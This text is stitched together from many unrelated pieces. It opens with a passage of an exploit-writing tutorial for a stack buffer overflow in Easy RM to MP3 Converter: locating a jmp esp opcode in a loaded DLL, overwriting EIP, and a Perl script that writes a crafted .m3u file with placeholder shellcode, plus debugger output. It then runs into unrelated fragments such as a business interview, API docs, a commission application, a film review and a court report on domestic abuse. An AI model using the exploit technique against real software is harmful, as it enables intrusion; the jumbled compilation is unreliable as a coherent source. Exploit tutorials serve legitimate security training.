We have managed to put our shellcode exactly where ESP points at (or, if you look at it from a different angle, ESP points directly at the beginning of our shellcode). If that would not have been the case, we would have looked to the contents of other register addresses and hope to find our buffer back. Anyways, in this particular example, we can use ESP.
The reasoning behind overwriting EIP with the address of ESP was that we want the application to jump to ESP and run the shellcode.
Jumping to ESP is a very common thing in windows applications. In fact, Windows applications use one or more dll’s, and these dll’s contains lots of code instructions. Furthermore, the addresses used by these dll’s are pretty static. So if we could find a dll that contains the instruction to jump to esp, and if we could overwrite EIP with the address of that instruction in that dll, then it should work, right ?
Let’s see. First of all, we need to figure out what the opcode for “jmp esp” is.
We can do this by Launching Easy RM to MP3, then opening windbg and hook windbg to the Easy RM to MP3 application. (Just connect it to the process, don’t do anything in Easy RM to MP3). This gives us the advantage that windbg will see all dll’s/modules that are loaded by the application. (It will become clear why I mentioned this)
Upon attaching the debugger to the process, the application will break.
In the windbg command line, at the bottom of the screen, enter a (assemble) and press return
Now enter jmp esp and press return
Press return again.
Now enter u (unassemble) followed by the address that was shown before entering jmp esp
0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e ffe4 jmp esp
7c901210 8bff mov edi,edi
ntdll!DbgUserBreakPoint:
7c901212 cc int 3
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3
7c90121b c20400 ret 4
Next to 7c90120e, you can see ffe4. This is the opcode for jmp esp
Now we need to find this opcode in one of the loaded dll’s.
Look at the top of the windbg window, and look for lines that indicate dll’s that belong to the Easy RM to MP3 application :
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.
*** wait with pending attach
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path. *
* Use .symfix to have the debugger choose a symbol path. *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
ModLoad: 00400000 004be000 C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
ModLoad: 7c900000 7c9b2000 C:\WINDOWS\system32\ntdll.dll
ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 78050000 78120000 C:\WINDOWS\system32\WININET.dll
ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
ModLoad: 00330000 00339000 C:\WINDOWS\system32\Normaliz.dll
ModLoad: 78000000 78045000 C:\WINDOWS\system32\iertutil.dll
ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.dll
ModLoad: 73dd0000 73ece000 C:\WINDOWS\system32\MFC42.DLL
ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll
ModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\COMCTL32.dll
ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll
ModLoad: 76080000 760e5000 C:\WINDOWS\system32\MSVCP60.dll
ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.dll
ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll
ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime
ModLoad: 774e0000 7761d000 C:\WINDOWS\system32\ole32.dll
ModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
ModLoad: 01fe0000 01ff1000 C:\WINDOWS\system32\MSVCIRT.dll
ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll
If we can find the opcode in one of these dll’s, then we have a good chance of making the exploit work reliably across windows platforms. If we need to use a dll that belongs to the OS, then we might find that the exploit does not work for other versions of the OS. So let’s search the area of one of the Easy RM to MP3 dll’s first.
We’ll look in the area of C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll. This dll is loaded between 01b10000 and 01fd000.
Excellent. (I did not expect otherwise… jmp esp is a pretty common instruction). When selecting an address, it is important to look for null bytes. You should try to avoid using addresses with null bytes (especially if you need to use the buffer data that comes after the EIP overwrite. The null byte would become a string terminator and the rest of the buffer data will become unusable).
Another good area to search for opcodes is
“s 70000000 l fffffff ff e4” (which would typically give results from windows dll’s)
Note : there are other ways to get opcode addresses :
- findjmp (from Ryan Permeh) : compile findjmp.c and run with the following parameters :
- findjmp . Suppose you want to look for jumps to esp in kernel32.dll, run “findjmp kernel32.dll esp. On Vista SP2, you should get something like this :
- Findjmp, Eeye, I2S-LaB
- Findjmp2, Hat-Squad
- Scanning kernel32.dll for code useable with the esp register
- 0x773AF74B call esp
- Finished Scanning kernel32.dll for code useable with the esp register
- Found 1 usable addresses
- the metasploit opcode database
- memdump (see one of the next tutorial posts
- pvefindaddr, a plugin for Immunity Debugger. In fact, this one is highly recommended because it will automatically filter unreliable pointers.
Since we want to put our shellcode in ESP (which is placed in our payload string after overwriting EIP), the jmp esp address from the list must not have null bytes. If this address would have null bytes, we would overwrite EIP with an address that contains null bytes. Null byte acts as a string terminator, so everything that follows would be ignored. In some cases, it would be ok to have an address that starts with a null byte. If the address starts with a null byte, because of little endian, the null byte would be the last byte in the EIP register. And if you are not sending any payload after overwrite EIP (so if the shellcode is fed before overwriting EIP, and it is still reachable via a register), then this will work.
Anyways, we will use the payload after overwriting EIP to host our shellcode, so the address should not contain null bytes.
The first address will do : 0x01ccf23a
Verify that this address contains the jmp esp (so unassemble the instruction at 01ccf23a):
0:014> u 01ccf23a
MSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea:
01ccf23a ffe4 jmp esp
If we now overwrite EIP with 0x01ccf23a, a jmp esp will be executed. Esp contains our shellcode… so we should now have a working exploit. Let’s test with our “NOP & break” shellcode.
Close windbg.
Create a new m3u file using the script below :
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc"; #this will cause the application to break, simulating shellcode, but allowing you to further debug
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
21c.e54): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c
eip=000ff745 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff734:
000ff745 cc int 3
0:000> d esp
000ff730 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff740 90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90 ................
000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 00 ................
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Run the application again, attach windbg, press "g" to continue to run, and open the new m3u file in the application.
The application now breaks at address 000ff745, which is the location of our first break. So the jmp esp worked fine (esp started at 000ff730, but it contains NOPs all the way up to 000ff744).
All we need to do now is put in our real shellcode and finalize the exploit.
Close windbg again.


These new-world technologies are pretty easy and inexpensive to deploy. So the challenge is a mind-set challenge, an awareness challenge, a use-case identification challenge, a change-management problem. The companies that are good at change management tend to do really well.
Change management is pretty well understood. In this context, it’s got a couple of discrete pieces. There’s a piece around top-down sponsorship that’s really about making everybody comfortable that this is OK, that it’s sanctioned, that it’s secure, that it’s reliable, that we’re going to use it to solve real business problems—it’s not just a toy.
There’s a piece around awareness, helping every employee understand that this capability is available to them. Of course, it’s much easier if you have an enterprise license agreement with any vendor of this kind of technology, so you don’t have to worry about paying extra if too many people use it.
And then it’s really use-case identification. What kind of business problems can we solve with this? How will we prioritize the ones to go after? Are they very broad, horizontal use cases that are just related to sharing information with a vendor or with our colleagues in Tokyo? Or are they more narrowly focused use cases around the automation of a business process or some regulatory compliance burden?


The application that provides for you and your group the tools you need to build your projects easier and faster than ever.
Join now
+ Group


Have a life hack? Share it on How-To!
Get Started!
Join Now
Simplifying life for everyone.
How-To makes it easy to create and share your wisdom through How-To guides! Find tips and tricks to help with your own home improvement needs. Then share your experience with our community of fellow DIYers. The most popular posts will be at the top of the newsfeed for your browsing pleasure!
Do you have a life hack or home improvement project idea? Do you enjoy learning new tips and tricks? Then join the How-To community today!
Ready to create a How-To?
Create Account To Get Started
Already Have an Account?
Sign In
How to Plant a Tree
How to Defrost a Freezer
How to Make a Smoothie
I love seeing how many people find value in the How-To guides I have
have shared. It’s so easy and I fel like I’ve found my people!
-Tom
I’ve saved hundreds of dollars on home improvements and repairs by
finding brilliant ideas on How-To!
-Laurie
With tutorials on other sites, you never know if you can trust them.
Seeing how many people have used a How-To puts my mind at ease.
-Richard
$0 per month
View Unlimited How-Tos
Create up to 3 How-Tos
Sign Up Now
Choose a plan
that's right for you!
$5 per month
View Unlimited How-Tos
Create up to 3 How-Tos
Access to Premium Content!
Sign Up Now


The scheduler is currently based on Quartz, whereas it is turned off by default. In order to enable it, one has to set
<scheduler enabled="true"/>inside the Yanel configuration yanel.xml
One can configure jobs per realm (e.g. src/realms/from-scratch-realm-template/data-repo/data/scheduler-jobs.xml
), whereas the configuration is read during startup. An example can be found below:
<?xml version="1.0"?> <scheduler xmlns="http://www.wyona.org/scheduler/1.0"> <jobs enabled="true"> <job class="org.wyona.yanel.servlet.HeartbeatJob" name="hearbeat1"> <!--<trigger startDate="2012.01.16T23:30:15">--> <!-- Date format: "yyyy.MM.dd'T'HH:mm:ss" --> <trigger startDate="NOW"> <!--<repeat count="REPEAT_INDEFINITELY" interval="60000"/>--> <repeat count="3" interval="60000"/> </trigger> </job> </jobs> </scheduler>
In case you want to prevent that the same job is running concurrently multiple times, for example because the interval is configured shorter than it takes to complete the job, then you might want to implement StatefulJob instead Job.


Map
all?
(λ [(Ref (λ [&a, &b] Bool)), (Ref (Map a b))] Bool)
(all? pred m)
Do all key-value pairs pass the given predicate (of two arguments)?
contains?
(λ [(Ref (Map a b)), &a] Bool)
(contains? m k)
Check whether the map m contains the key k.
create-with-len
(λ [Int] (Map a b))
(create-with-len len)
Create an empty map with a given number of buckets. High numbers reduce the possibility of hash collisions while increasing the memory footprint.
endo-map
(λ [(λ [&a, &b] b), (Map a b)] (Map a b))
(endo-map f m)
Transform values of the given map in place. f gets two arguments, key and value, and should return new value
for-each
(λ [(Ref (Map a b)), (λ [&a, &b] ())] ())
(for-each m f)
Execute the binary function f for all keys and values in the map m.
from-array
(λ [(Ref (Array (Pair a b)))] (Map a b))
(from-array a)
Create a map from the array a containing key-value pairs.
get
(λ [(Ref (Map a b)), &a] b)
(get m k)
Get the value for the key k from map m. If it isn’t found, a zero element for the value type is returned.
get-maybe
(λ [(Ref (Map a b)), &a] (Maybe b))
(get-maybe m k)
Get the value for the key k from map m. It returns a Maybe type, meaning that if nothing is found, Nothing is returned.
get-with-default
(λ [(Ref (Map a b)), &a, &b] b)
(get-with-default m k default-value)
Get the value for the key k from map m. If it isn’t found, the default is returned.
keys
(λ [(Ref (Map a b))] (Array a))
(keys m)
Return an array of the keys of the map. Order corresponds to order of (vals m)
kv-reduce
(λ [(λ [a, &b, &c] a), a, (Ref (Map b c))] a)
(kv-reduce f init m)
Reduce a map with a function of three arguments: state, key and value. Reduction order is not guaranteed.
remove
(λ [(Map a b), &a] (Map a b))
(remove m k)
Remove the value under the key k from the map m.
update
(λ [(Map a b), &a, (λ [b] b)] (Map a b))
(update m k f)
Update value at key k in map with function f, if it exists.
update-buckets
(λ [(Map a b), (Ref (λ [(Array (Bucket a b))] (Array (Bucket a b))))] (Map a b))
update-with-default
(λ [(Map a b), &a, (λ [b] b), b] (Map a b))
(update-with-default m k f v)
Update value at key k in map with function f. If k doesn't exist in map, set k to (f v).
vals
(λ [(Ref (Map a b))] (Array b))
(vals m)
Return an array of the values of the map. Order corresponds to order of (keys m)


Neva Martinez
Unafffiliated
U.S. Department of Energy
Bachelor of Science in Accountancy
80233
Hillary Clinton Crisanta Duran Joe Biden
-Latino Leadership Institute -Adams 12 Five Star School | Finance and Audit Committee -University of Denver | School of Accountancy Alumni Engagement Council -Colorado Leadership Development Program Fellow (OPM) -Adelante Mujer Inc. Board Member
I have experience with a multiple organizations serving as a independent and objective party with regards to financial reporting processes and internal control systems. Over the years, I’ve also volunteered my time and resources to the development and implementation of multiple initiatives, workshops/activities and other activities related to multicultural understanding by encouraging sensitivity and respect.
Women of color are largely underrepresented when it comes to state boards and commissions. Increasing the number of professional women of color on the state boards and commissions will shape the narrative being communicated about our abilities, expand our circle of influence in industry and encourage others to pursue their goals. As a woman of color, serving on this commission would be a great way to provide combine my unique government accounting and data analytic skill set to the redistricting process. I also anticipate and respect the level of effort and independence required to build consensus with all of its members and stakeholders. In my current role, I have experience and value engaging in solution base discussion required to build consensus among management, internal and external stakeholders needed to find win-win solutions.
In my government experience as an audit liaison, I have experience serving as an independent and objective party with regards to financial reporting processes and internal control systems. In addition to being an independent party a willingness to lend listening ear in solution base discussion is key to building consensus among management, internal and external stakeholders in order to achieve win-win solutions.
In my current role, I designed and manage business analytics tools creating an internal data analytics think tank within my organization to help underrepresented groups better understand the world of big data and learn how to use data analytics strategically. The tools I design are used by senior management in round table type discussion incorporating storytelling and subject matter expertise in order to inform and present vital information to various stakeholders.
Female


---
title: Code
permalink: code
layout: page
background: yellow
color: brown
menu: true
weight: 2
category: code
---
{{ page.title }}
As I only worked for startups, I often was one of the few tech persons in the team. I had to learn the whole stack in order to be flexible, and Ruby on Rails made it a breaze.
Thought I’m a generalist, I have put over the years more focus on frontend technologies (React & Ember).

It allows a modular approach and a lot of flexibility.
Make sure what is built has a single responsability.
Make sure every feature you build is deemed necessary.
Build – measure – Learn. Always start with a good MVP.
If you can make it open source, you should.


| Transaction Date: |
|
|---|---|
| Patient Name: | {{SelectedItem.PatientName}}({{SelectedItem.PatientCode}}) |
| Department | ItemName | Reporting Doctor(Radiologist) | Referred By Dr. |
|---|---|---|---|
| {{SelectedItem.ServiceDepartmentName}} | {{SelectedItem.ItemName}} | {{SelectedItem.ProviderName}} | {{SelectedItem.ReferredByName ? SelectedItem.ReferredByName : 'SELF'}} Change? |
| Reporting Doctor(Radiologist) : |
|
| Change Referred By Doctor: |
|


fun handle(event: Event?): Boolean
Handle click event. Get starting grid for active player.
event - Event
event
Return Whether or not the event is handled.


You have chosen PayPal as your payment method.
Continue to Step 3 where you will be able to Login to PayPal and complete your order.
Bill Me Later® is only available to US residents. Learn more.
Data Verification
For verification purposes, please provide the following information.
Bill Me Later® is subject to credit approval.
E-Sign Consent and Terms and Conditions
You must read the E-sign consent section of the Terms and Conditions
prior to checking the box below.
(Print)
See terms of the Bill Me Later® payment system.


JavaScript uses scope chains to set the scope for a given function. There are two types of scope - global scope and local scope.
Variables and functions defined outside a function have global scope. They are accessible anywhere once they've been declared, even inside new functions.
Variables defined inside a function have local scope. These variables become local to that function and cannot be accessed outside that function.
In JavaScript, variables are read starting from the innermost scope then moving outwards. This means the variables are evaluated as if they were declared at the beginning of the scope they exist in.


In the meantime, help us add news stories of kindness to our map: Submit a Story! Kindly, The Coronavirus Kindness Team


benchmark
Last Published: 2017-05-12
|
Version: 1.0.3
Project Documentation
Project Information
Dependencies
Dependency Convergence
Dependency Information
Distribution Management
About
Plugin Management
Plugins
Team
Summary
Project Reports
Dependency Convergence
Statistics:
Number of dependencies (NOD):
12
Number of unique artifacts (NOA):
12
Number of version-conflicting artifacts (NOC):
0
Number of SNAPSHOT artifacts (NOS):
0
Convergence (NOD/NOA):
100 %
Ready for release (100% convergence and no SNAPSHOTS):
Success


Ricciardo praises Brazil atmosphere: "It gets me pumped for the race"
by Tom MasonThe Formula One season is drawing ever closer to its finale as the drivers head to Brazil for the penultimate race of the season. Daniel Ricciardo believes that the atmosphere in Brazil plays a major part in making it such a great weekend.
Going into the last two races, the Australian is ninth in the drivers' standings but is unlikely to move up any higher as he is 31 points behind Pierre Gasly in the standings.
"I really like the atmosphere in Brazil. It's a cool one as the locals love racing, and they really embrace it when it comes to their town," Ricciardo said in Renault's race preview.
"There's a Samba-like, carnival feels to the place and I like the energy that brings.
"The drivers' parade on Sunday is one of the loudest of the season and gets you pumped for the race."
The 30-year-old finished fourth at the Brazillian Grand Prix last year and will be hoping to start a promising end to the season.


Basics of SSL
Content - What is SSL- Http vs Https- Identifying a fake Https site- Public and Private certificates – PVK and PFX- Create your own certificates in Windows OS- A practical scenario – Secure TCP Communication using certificates Know more


Knock Off (Reviewed Sept. 6/98)
Starring Jean-Claude Van Damme, Rob Schneider, Lela Rochon, Paul Sorvino
"Knock Off" is exactly that: a cheap knock off of an action movie. It's also the worst movie I have seen thus far this year. I figured it would be at least a couple of months before I saw the worst film of 1998, but alas, it has already been found.
Jean-Claude Van Damme stars as (I think) a designer jeans executive who discovers his half-brother has been supplying him with cheaper goods. Rob Schneider plays Van Damme's partner, and Rochon plays ... actually, I have no idea who Rochon was supposed to be. She just sort of popped up halfway through without an explanation as to why she was there. Many things are not explained in this film, but I do know that for some bizarre reason, Van Damme seemed to be doing a Jackie Chan impression throughout the flick. Where Chan comes off as endearing in his "normal guy" character seen in many of his films, Van Damme just comes off as a wimp. We're never given any clear explanation as to the basis for many of his actions. To be more clear: I did not even know who he was supposed to be until about an hour into the movie, and even then, it was not made too clear.
The film has been directed in the style of some strange film experiment gone horribly wrong. Tsui Hark (who directed Van Damme's last movie, the bad, but not nearly as bad as this, "Double Team") never lets the camera rest for a second, and that's no exaggeration. We are even treated to a five second shot from the point of view of Van Damme's foot entering a shoe. Fabulous! Seriously, though, I have no problem with directors who want to play around with film conventions, as long as they don't get carried away. For example, look at Sam Raimi. "Army of Darkness", one of his best movies, features some of the most inventive camera work I have ever seen, but Raimi never lets the special effects get in the way of story. That's a concept that Tsui can't seem to grasp. The special effects and outrageous camera angles *rule* "Knock Off" to the point where the audience doesn't have a clue as to what's happening any more.
Another problem with the film is that it looks cheap. The film stock used is of such low caliber that I thought I was watching one of those Chinese films shown really late at night. And for some inexplicable reason, everyone's voice seems to have been dubbed. Even the stars. And even the special effects, seemingly the only aspect of the film the director actually cared about, are inconsistent. For example, there is a scene in which Van Damme drives a car out of a window. The car slams into the ground, and the left wheel is completely destroyed. Seconds later, the car drives off at full speed. Hey, I have no problem suspending my disbelief in an action movie, but a line must be drawn somewhere.
Finally, the acting. Nobody gives a good performance in this film. Van Damme, an actor I usually like, is way off the mark playing "everyman". And Schneider, here to provide comic relief I assume, is totally unfunny and over acts his way through every scene. Even the usually solid Paul Sorvino gives a terribly over-the-top performance as... Once again, I have no idea who he was supposed to be.
In case I haven't yet made it clear enough, "Knock Off" is the worst movie of Van Damme's career and possibly the worst movie of the decade. And it's not even one of those movies that's so bad it's funny. It's too inept to be funny. There are no redeeming factors in "Knock Off" and I seriously hope that every print of this film is burned to a crisp and that somehow my memory of watching the film can be erased.
You have been warned.
no stars out of ****
-- David Nusair<EMAIL_ADDRESS>Come visit my "Reel Film Reviews" site! "http://chat.carleton.ca/~dnusair"
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


I
- public abstract class BaseEntity<I>
extends java.lang.Object
BaseEntityFactory
. After that user may create any number of
classes that extend the abstract class. Each of these concrete implementations will self-insert itself into its
factory. See the javadoc for the com.mgnt.lifecycle.management
package and source code in package
com.mgnt.lifecycle.management.example
for detailed explanation on how to use this class| Constructor and Description |
|---|
BaseEntity(java.lang.String factoryKey)
Constructor that places the instance into the factory with default key value which is the class name
|
BaseEntity(java.lang.String factoryKey,
java.lang.String key)
This constructor is responsible for inserting instance of any class that extends this class directly or indirectly
into corresponding factory
|
public BaseEntity(java.lang.String factoryKey)
factoryKey
- the key to extract corresponding factory from factory mappublic BaseEntity(java.lang.String factoryKey, java.lang.String key)
factoryKey
- the key to extract corresponding factory from factory mapkey
- The key to extract an an instance of a class that extends this class from a factory. If null then it is
assumed that the class name is the key


Apple-themed Mini Games
Finder Zen 2
Swift + SpriteKit
First version completed 2015
App Flight
Swift + SpriteKit
First version completed 2015
Finder Zen
Swift + SpriteKit
First version completed 2014
Swift + SpriteKit
First version completed 2015
Swift + SpriteKit
First version completed 2015
Swift + SpriteKit
First version completed 2014


ScrollBoxLayout
- a container that can scroll its content if it does not fit the size of the container.
The components direction can be defined by orientation
attribute - horizontal
or
vertical
.
Default is vertical
.
scrollBars
attribute allows configuring scroll bars. It can be horizontal
,
vertical
- for horizontal and vertical scrolling respectively, both
- for
scrolling in any direction. Setting the value to none
forbids scrolling in any direction.
The components embedded into the scrollBox
should have fixed size or default size. It can
not be set to height="100%"
or width="100%"
. At the same time, scrollBox
cannot calculate its own size based on its content. Its absolute size should either be specified or the scrollBox
should be stretched it in a parent container by setting height="100%"
and width="100%"
.


CubeStats_AT computes image-plane robust statistics on datacubes. These statistics are particularly useful for identifying spectral lines in images where
the noise varies as a funnction of frequency.
| CASA image | %s |
| RMS method | %s |
| RMS value | %s |
| Dynamic range | %s |
| Data mean | %s |
%s


EXUNCLAN
Everything secure.
Everything passwordless.
Everything passwordless.
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas justo elit, rhoncus sed nulla quis, ornare lacinia.
Sign up now
Fill in the form below to get instant access


"Today's technology providing the energy needs of tomorrow"
H2GO Power has developed a safe method for hydrogen production and storage to provide power on the move. Our hydrogen acts as a fuel feedstock for fuel cells, clean high efficiency energy storage devices.
We are a spin-out company from the Department of Chemistry, University of Cambridge (UK). Our core technology involves a novel hybrid smart material, which produces, stores and releases hydrogen gas in a controlled manner.
Our unique solution allows for fuel cell manufacturers to deploy fuel cells into new markets such as portable off-grid electronics. The potential outcome of our technology includes a power supply with 5 times the energy capacity of current battery technology.
H2GO Power's patented technology involves a highly porous nano-particle-based smart material that combines production, storage and controlled release of hydrogen. This three feature approach allows for enhanced safety and complete fuel utilisation. The catalytic properties of the material allow for hydrogen production through the hydrolysis of metal and chemical hydrides at room temperature. The produced hydrogen is then trapped within the polymer framework, which acts as a storage medium. The stored hydrogen is released through the application of heat, with hydrogen release occurring at a specific tuneable temperature allowing for on-off control. Click here for a more detailed explanation.
The produced hydrogen can then be fed into a fuel cell which converts hydrogen's chemical energy into electrical power. Existing systems involve the fuel cell part and a hydrogen providing part, which can be combined together resulting in a complete device. The hydrogen providing part needs to meet certain engineering parameters to meet performance and safety requirements.
At H2GO Power we design our hydrogen storage system in an application specific manner based on customers specifications such as performance, cost and safety.
More hydrogen can be packed into our material, meaning our 'battery' will last 5 times longer than current lithium-ion tech.
The solid-state hydrogen storage approach eliminates the need for dangerous high pressures.
We only use lightweight elements and no bulk metal, meaning our solution is only a fraction of the weight of existing products.
The reduced release temperature of hydrogen results in more hydrogen being available to power your devices.
The nano-scale design of our material means that it works all the way from the smallest to the largest applications.
The unique on-off control of hydrogen release translates to a much safer storage system and less engineering controls.
The founder has scooped a prize in the 2013 Cambridge University Entrepreneurs (CUE) £100 for 100 words competition. She was also featured in the i-Teams newsletter.
The hydrogen sponge team has won the Runner-Up in 2014 Cambridge University Entrepreneurs (CUE) £1k Challenge. The details of the competition by CUE is here
The business idea of hydrogen sponge is selected as a finalist to give the pitch at the Innovation Leaders Conference's business plan competition.
Accelerate Cambridge at the Judge Business School, University of Cambridge, welcomes H2GO Power Ltd. to its accelerator programme.
H2GO Power's core technology is selected as a finalist for presentation at the House of Commons under the 'SET for BRITAIN' competition.
H2GO Power earn acceptance into the European Institute of Innovation and Technology's (EIT) Climate-KIC start-up accelerator, a network focused on climate change solutions.
H2GO Power's core technology is awarded the best poster prize at the Gordon Research Seminar (GRS), Noble Metal Nanoparticles, Massachusetts, USA.
The inventor of the technology, Enass Abo-Hamed, was awarded the Engineering and Physical Sciences Research Council Impact Accelerator Account Follow on funding (EPSRC IAA Fof).
We are delighted to receive the 2nd place at the China UK Challenge Final 2014. The news was covered by People's Daily Online, a Chinese online media.
H2GO Power was promoted from pre-Accelerate to Accelerate stage and wins a grant of GBP15,000.
Inventor and CSO
Middle East Rep
CTO
UK Rep
CFO
Japan Rep
COO
China Rep
Business Development
US Rep
You can always email individual team members, or use the form below to contact everyone


This page contains the different versions of my MEI files. I chose to edit 4 different elements in the piano versions of both pieces.


Plenty of Fish 'boyfriend from hell' threatened to kill woman in campaign of abuse
Dennis Beastall and Julie Emms met on a dating website and he moved into her flat in Leicestershire a week after they started talking - but he soon turned violent
by Suzy Gibson, Chiara FiorilloA man who presented himself as the perfect partner was branded "boyfriend from hell" after abusing a woman he met on a dating website.
Julie Emms was so happy with Dennis Beastall that he moved into her Glenfield flat, Leicestershire, a week after they met online on Plenty of Fish.
Beastall, formerly of Swadlincote, Derby, soon seized control of her life, Leicester Crown Court heard.
He allegedly dictated the clothes she wore and who she could remain friends with.
The heavy drinker spent £2,000 of Ms Emms' money on booze and tobacco during their five month on and off relationship, Leicestershire Live reports.
The court heard how he would turn violent and intimidating, once menacingly threatening to slash her throat.
He once allegedly said: "I'll petrol bomb your flat."
When the woman tried to end the relationship, he kicked and punched her on the head and body.
Beastall apologised and continued to win back her affection following further violence, including ripping one of her earrings out.
Following one break-up, she returned home and he jumped out of a cupboard to attack her.
On a separate occasion, she discovered he was hiding in her attic when he fell through the ceiling.

He denied the offences.
Ms Emms, 50, had to relive events in the witness box - with images of the injuries he inflicted being shown in court.
Beastall, who has 75 previous convictions, including "numerous for harassment of previous partners," was committed to Leicester Crown Court for sentence.
Catherine Ricardo, prosecuting, said: "The complainant and defendant met on a dating website on May 10 this year.
"Although, at times, he was loving towards her, he became controlling. She was told what to wear, including her underwear.
"She was told to change her contact details on her mobile phone and to get rid of contacts on Facebook.
"On May 30, Beastall was demanding to know her whereabouts when she simply went out to get her nails done."
When she returned home, he was naked and drinking heavily in the flat which resulted in an argument and she told him to leave.

"She was on the floor curled up and screaming for help."

The victim, who suffered a bruised wrist and forearm and a lump on her face, later told the police: "He was very aggressive, as if he was fighting a man."
Beastall moved out for a while, but after his return he became jealous when he heard Ms Emms had been in contact with the daughter of a former partner, during a visit to her sister.

When she went home after some time, he jumped out of an alcove cupboard in the dark and punched her to her head and right eye.
Ms Ricardo said: "It was terrifying and she fell backwards."
He shouted abuse and repeatedly bashed her with a rucksack.
The court heard the victim, who was "petrified" of the defendant, made two retraction statements at his behest.
Ms Ricardo said: "She still feels terrified and is paranoid about him waiting for her in the dark.
"She says she's an emotional wreck with flashbacks, anxiety and depression."
Whilst in custody, he sent her a letter asking for forgiveness and was still trying to win her back.
Judge Robert Brown told Beastall: "I have to sentence you for acts of violence against Ms Emms when you were together.
"You pleaded not guilty and she had to give evidence at trial.
"It was a course of conduct and you have a bad record for common assault and harassment.
The judge said to the defendant: "You've taken a realistic attitude and I hope you're right when you tell me the relationship is over."
Beastall said: "I've got someone else so I have no reason to contact her."
Ms Emms told the court she now plans on moving address.
The defendant said a restraining order would prevent him from collecting his belongings from the victim's home.
Ms Emms said she had given his possessions to charity, on the suggestion of his brother.
Beastall threw his arms in the air in the dock and angrily shouted: "That's all my stuff gone."
He then asked what had happened to his money.
Ms Emms, who was accompanied by a Women's Aid support worker, produced the defendant's bank card and handed it to a court usher saying: "I haven't touched his bank account."
As Beastall continued to grumble, the judge interrupted him, saying: "You had a good go at drinking your way through this lady's money."
Kelly Cyples, mitigating, said: "He's from the Derby area and no reason to come back to Leicester.
She said: "He accepts the finding of guilt by the magistrates and having heard the views of Ms Emms accepts the relationship is over and that she doesn't wish any further contact."
Ms Cyples said the defendant was "struggling with alcohol consumption" at the time, consuming nine or 10 cans of lager at least every other day, which "impacted on his functioning."
Beastall was jailed for 12 months.
He was placed on a five year restraining order banning contact with Ms Emms.
Ms Emms said afterwards: "I'm disappointed with the sentence, it should have been a lot longer.
"He was the most amazing person when I first met him, a lot of fun.
"He could turn the charm on like a tap, but his mood could quickly change and he got nastier after a drink.
"It all began to change after two weeks.
"I wasn't allowed any male friends on Facebook - he deleted them - he was always on my phone.
"I was isolated from my family and friends, who didn't like him.
